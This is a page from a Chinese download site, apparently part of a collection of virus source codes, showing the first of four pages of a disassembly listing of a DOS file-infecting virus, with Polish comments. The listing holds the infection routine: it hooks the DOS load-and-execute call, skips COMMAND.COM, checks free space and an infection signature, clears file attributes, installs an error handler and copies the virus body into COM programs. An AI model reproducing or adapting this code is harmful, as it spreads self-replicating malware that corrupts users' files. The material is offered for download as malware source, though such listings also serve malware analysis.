⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 j_sundyb.lst

📁 一些病毒源代码
💻 LST
📖 第 1 页 / 共 4 页
字号:
        MOV     AX,4B00h        ;Load & Execute                 ;9495 B8 00 4B
        POPF                                                    ;9498 9D
        JMP     DWORD PTR CS:L0017      ;old int 21h            ;9499 2E FF 2E 17 00

        ;<- uruchamianie programu
L949E:  CMP     BYTE PTR CS:L000E,1     ;ptr aktywnosci wirusa  ;949E 2E 80 3E 0E 00 01
        JZ      L948A                   ;-> aktywny             ;94A4 74 E4
        MOV     WORD PTR CS:L0070,0FFFFh        ;File handle    ;94A6 2E C7 06 70 00 FF FF
        MOV     WORD PTR CS:L008F,0                             ;94AD 2E C7 06 8F 00 00 00
        MOV     CS:L0080,DX             ;path do programu       ;94B4 2E 89 16 80 00
        MOV     CS:L0082,DS                                     ;94B9 2E 8C 1E 82 00
        PUSH    AX                                              ;94BE 50
        PUSH    BX                                              ;94BF 53
        PUSH    CX                                              ;94C0 51
        PUSH    DX                                              ;94C1 52
        PUSH    SI                                              ;94C2 56
        PUSH    DI                                              ;94C3 57
        PUSH    DS                                              ;94C4 1E
        PUSH    ES                                              ;94C5 06
        CLD                                                     ;94C6 FC
        MOV     DI,DX                                           ;94C7 8B FA
        XOR     DL,DL                   ;aktualny drive         ;94C9 32 D2
        CMP     BYTE PTR [DI+1],':'     ;czy path z drive ?     ;94CB 80 7D 01 3A
        JNZ     L94D6                   ;-> nie, aktualny       ;94CF 75 05
        MOV     DL,[DI]                                         ;94D1 8A 15
        AND     DL,1FH                  ;na numer drive         ;94D3 80 E2 1F
L94D6:  MOV     AH,36H          ;Get Disk Free Space            ;94D6 B4 36
        INT     21H                                             ;94D8 CD 21
        CMP     AX,0FFFFh                                       ;94DA 3D FF FF
        JNZ     L94E2           ;-> drive number OK             ;94DD 75 03
L94DF:  JMP     L9768           ;<- drive number invalid        ;94DF E9 86 02

L94E2:  MUL     BX              ;<sec per clus>*<avl clus>      ;94E2 F7 E3
        MUL     CX              ;*<bytes per sec>               ;94E4 F7 E1
        OR      DX,DX                                           ;94E6 0B D2
        JNZ     L94EF           ;-> ponad 64 KB wolne           ;94E8 75 05
        CMP     AX,OFFSET L065F ;=1631=dlugosc wirusa           ;94EA 3D 5F 06
        JB      L94DF                                           ;94ED 72 F0
L94EF:  MOV     DX,CS:L0080     ;path do programu               ;94EF 2E 8B 16 80 00
        PUSH    DS                                              ;94F4 1E
        POP     ES                                              ;94F5 07
        XOR     AL,AL           ;poszukiwanie konca             ;94F6 32 C0
        MOV     CX,41h                                          ;94F8 B9 41 00
        REPNZ   SCASB                                           ;94FB F2 AE
        MOV     SI,CS:L0080     ;zamiana na duze litery         ;94FD 2E 8B 36 80 00
L9502:  MOV     AL,[SI]                                         ;9502 8A 04
        OR      AL,AL                                           ;9504 0A C0
        JZ      L9516                                           ;9506 74 0E
        CMP     AL,61H                  ;'a'                    ;9508 3C 61
        JB      L9513                                           ;950A 72 07
        CMP     AL,7AH                  ;'z'                    ;950C 3C 7A
        JA      L9513                                           ;950E 77 03
        SUB     BYTE PTR [SI],20H       ;' '                    ;9510 80 2C 20
L9513:  INC     SI                                              ;9513 46
        JMP     SHORT   L9502                                   ;9514 EB EC

L9516:  MOV     CX,0Bh          ;czy to command ?               ;9516 B9 0B 00
        SUB     SI,CX                                           ;9519 2B F1
        MOV     DI,OFFSET L0084 ;'command.com'                  ;951B BF 84 00
        PUSH    CS                                              ;951E 0E
        POP     ES                                              ;951F 07
        MOV     CX,0Bh                                          ;9520 B9 0B 00
        REPZ    CMPSB                                           ;9523 F3 A6
        JNZ     L952A           ;-> nie                         ;9525 75 03
        JMP     L9768           ;-> tak, odpuszczamy            ;9527 E9 3E 02

L952A:  MOV     AX,4300h        ;Get File Attributes            ;952A B8 00 43
        INT     21H                                             ;952D CD 21
        JB      L9536                                           ;952F 72 05
        MOV     CS:L0072,CX     ;atrybut zarazanego zbioru      ;9531 2E 89 0E 72 00
L9536:  JB      L955D                                           ;9536 72 25
        XOR     AL,AL           ;znacznik zbioru COM            ;9538 32 C0
        MOV     CS:L004E,AL     ;0=COM, 1=EXE                   ;953A 2E A2 4E 00
        PUSH    DS              ;szukamy konca nazwy            ;953E 1E
        POP     ES                                              ;953F 07
        MOV     DI,DX                                           ;9540 8B FA
        MOV     CX,41h                                          ;9542 B9 41 00
        REPNZ   SCASB                                           ;9545 F2 AE
        CMP     BYTE PTR [DI-2],4DH     ;'M'-ostatnia litera    ;9547 80 7D FE 4D
        JZ      L9558                   ;-> tak, COM            ;954B 74 0B
        CMP     BYTE PTR [DI-2],6DH     ;'m'                    ;954D 80 7D FE 6D
        JZ      L9558                   ;-> tak, com            ;9551 74 05
        INC     BYTE PTR CS:L004E       ;<- EXE                 ;9553 2E FE 06 4E 00
L9558:  MOV     AX,3D00h                ;Open Handle            ;9558 B8 00 3D
        INT     21H                                             ;955B CD 21
L955D:  JB      L95B9                                           ;955D 72 5A
        MOV     CS:L0070,AX             ;File handle            ;955F 2E A3 70 00
        MOV     BX,AX                                           ;9563 8B D8
        MOV     AX,4202h        ;Move file ptr EOF+offs         ;9565 B8 02 42
        MOV     CX,0FFFFh       ;-5 (piec ostatnich bajtow)     ;9568 B9 FF FF
        MOV     DX,0FFFBh                                       ;956B BA FB FF
        INT     21H                                             ;956E CD 21
        JB      L955D                                           ;9570 72 EB
        ADD     AX,5            ;+5 bajtow sygnatury            ;9572 05 05 00
        MOV     CS:L0011,AX     ;dlugosc programu oryginalna    ;9575 2E A3 11 00
        MOV     CX,5            ;dlugosc sygnatury              ;9579 B9 05 00
        MOV     DX,OFFSET L006B ;bufor na sygnature             ;957C BA 6B 00
        MOV     AX,CS                                           ;957F 8C C8
        MOV     DS,AX                                           ;9581 8E D8
        MOV     ES,AX                                           ;9583 8E C0
        MOV     AH,3FH          ;Read Handle                    ;9585 B4 3F
        INT     21H                                             ;9587 CD 21
        MOV     DI,DX           ;przeczytana sygnatura          ;9589 8B FA
        MOV     SI,OFFSET L0005 ;wzorzec sygnatury              ;958B BE 05 00
        REPZ    CMPSB                                           ;958E F3 A6
        JNZ     L9599           ;-> jeszcze nie zarazony        ;9590 75 07
        MOV     AH,3EH          ;Close Handle                   ;9592 B4 3E
        INT     21H                                             ;9594 CD 21
        JMP     L9768                                           ;9596 E9 CF 01

        ;<----- zarazanie zbioru
L9599:  MOV     AX,3524h                ;Get int 24h            ;9599 B8 24 35
        INT     21H                                             ;959C CD 21
        MOV     L001B,BX                                        ;959E 89 1E 1B 00
        MOV     L001D,ES                                        ;95A2 8C 06 1D 00
        MOV     DX,OFFSET L0213         ;L9393                  ;95A6 BA 13 02
        MOV     AX,2524h                ;Set int 24h            ;95A9 B8 24 25
        INT     21H                                             ;95AC CD 21

        LDS     DX,DWORD PTR L0080      ;ptr na path            ;95AE C5 16 80 00
        XOR     CX,CX                                           ;95B2 33 C9
        MOV     AX,4301h                ;Set File attributes    ;95B4 B8 01 43
        INT     21H                                             ;95B7 CD 21
L95B9:  JB      L95F6                                           ;95B9 72 3B
        MOV     BX,CS:L0070             ;File handle            ;95BB 2E 8B 1E 70 00
        MOV     AH,3EH                  ;Close Handle           ;95C0 B4 3E
        INT     21H                                             ;95C2 CD 21
        MOV     WORD PTR CS:L0070,0FFFFh        ;File handle    ;95C4 2E C7 06 70 00 FF FF
        MOV     AX,3D02h                ;Open Handle R/W        ;95CB B8 02 3D
        INT     21H                                             ;95CE CD 21
        JB      L95F6                                           ;95D0 72 24
        MOV     CS:L0070,AX             ;File handle            ;95D2 2E A3 70 00
        MOV     AX,CS                                           ;95D6 8C C8
        MOV     DS,AX                                           ;95D8 8E D8
        MOV     ES,AX                                           ;95DA 8E C0
        MOV     BX,L0070                ;File handle            ;95DC 8B 1E 70 00
        MOV     AX,5700h                ;Get File Date/Time     ;95E0 B8 00 57
        INT     21H                                             ;95E3 CD 21
        MOV     L0074,DX                                        ;95E5 89 16 74 00
        MOV     L0076,CX                                        ;95E9 89 0E 76 00
        MOV     AX,4200h                ;Move file ptr BOF+offs ;95ED B8 00 42
        XOR     CX,CX                                           ;95F0 33 C9
        MOV     DX,CX                                           ;95F2 8B D1
        INT     21H                                             ;95F4 CD 21
L95F6:  JB      L9636                                           ;95F6 72 3E
        CMP     BYTE PTR L004E,0        ;0=COM, 1=EXE           ;95F8 80 3E 4E 00 00
        JZ      L9603                                           ;95FD 74 04
        JMP     SHORT   L965C                                   ;95FF EB 5B

        NOP                                                     ;9601 90
        NOP                                                     ;9602 90

        ;<----- Zarazenie COM'a
L9603:  MOV     BX,1000h        ;zadanie 64KB bufora pamieci    ;9603 BB 00 10
        MOV     AH,48H          ;allocate memory                ;9606 B4 48
        INT     21H                                             ;9608 CD 21
        JNB     L9617           ;-> powiodlo sie                ;960A 73 0B
        MOV     AH,3EH          ;Close Handle                   ;960C B4 3E
        MOV     BX,L0070        ;File handle                    ;960E 8B 1E 70 00
        INT     21H                                             ;9612 CD 21
        JMP     L9768                                           ;9614 E9 51 01

L9617:  INC     WORD PTR L008F                                  ;9617 FF 06 8F 00
        MOV     ES,AX           ;nowy blok pamieci              ;961B 8E C0
        XOR     SI,SI                                           ;961D 33 F6
        MOV     DI,SI                                           ;961F 8B FE
        MOV     CX,OFFSET L065F                                 ;9621 B9 5F 06
        REPZ    MOVSB           ;przepisanie do bufora          ;9624 F3 A4

        MOV     DX,DI           ;pierwsze wolne miejsce         ;9626 8B D7
        MOV     CX,L0011        ;dlugosc programu oryginalna    ;9628 8B 0E 11 00
        MOV     BX,L0070        ;File handle                    ;962C 8B 1E 70 00
        PUSH    ES                                              ;9630 06
        POP     DS                                              ;9631 1F
        MOV     AH,3FH          ;Read Handle                    ;9632 B4 3F
        INT     21H                                             ;9634 CD 21
L9636:  JB      L9657                                           ;9636 72 1F
        ADD     DI,CX           ;na poczatek zbioru             ;9638 03 F9
        XOR     CX,CX                                           ;963A 33 C9
        MOV     DX,CX                                           ;963C 8B D1
        MOV     AX,4200h        ;Move file ptr BOF+offs         ;963E B8 00 42
        INT     21H                                             ;9641 CD 21

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -